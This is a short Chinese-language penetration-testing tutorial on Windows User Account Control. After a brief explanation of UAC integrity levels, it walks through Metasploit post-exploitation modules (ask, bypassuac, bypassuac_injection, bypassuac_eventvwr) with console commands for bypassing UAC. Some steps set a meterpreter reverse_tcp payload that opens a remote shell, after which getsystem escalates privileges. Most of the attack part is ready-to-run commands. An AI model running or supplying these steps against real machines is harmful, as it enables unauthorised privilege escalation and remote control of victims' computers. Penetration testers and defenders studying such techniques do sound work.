UAC介绍
UAC是微软为提高系统安全性中引入的技术。
UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,
拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,
以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行修改。
微软设置的安全控制策略,分为高、中、低三个等级。
高等级的进程有管理员权限;中等级的进程有普通管理员权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。
uac绕过
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)
MSF bypassuac提权
当获取到普通用户无法使用getsystem提权时,使用uac绕过再使用getsystem提权便可以成功
RunAs模块
exploit/windows/local/ask
Runas提权会创建一个执行文件,会在目标机上弹出一个uac的对话框,
点击是回弹一个shell,可以进行getsystem提权。
msf6 exploit(windows/local/ask) > set filename windows.exe
filename => windows.exe
msf6 exploit(windows/local/ask) > set session 1
session => 1
msf6 exploit(windows/local/ask) > run
bypassuac模块
exploit/windows/local/bypassuac
通过进程注入使可信任发布者证书绕过Windows UAC。
而且确保当前用户是在管理员用户组的情况下。uac默认设置才能成功。
msf6 exploit(windows/local/bypassuac) > set session 1
session => 1
msf6 exploit(windows/local/bypassuac) > run
bypassuac_injection模块
此模块通过内存注入使用可信任的发布者证书绕过UAC(该模块需要选择正确的体系架构)
msf6 exploit(windows/local/bypassuac_injection) > set session 1
session => 1
msf6 exploit(windows/local/bypassuac_injection) > set target 1
target => 1
msf6 exploit(windows/local/bypassuac_injection) > set payload windows/x64/meterpreter/reverse_tcp
bypassuac_eventvwr 模块
通过当前用户配置单元下劫持注册表中特殊的键并插入将在启动Windows时间查看器 / fodhelper.exe应用程序时调用自定义命令来绕过UAC。
msf6 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1
msf6 exploit(windows/local/bypassuac_eventvwr) > set target 1
target => 1
msf6 exploit(windows/local/bypassuac_eventvwr) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > run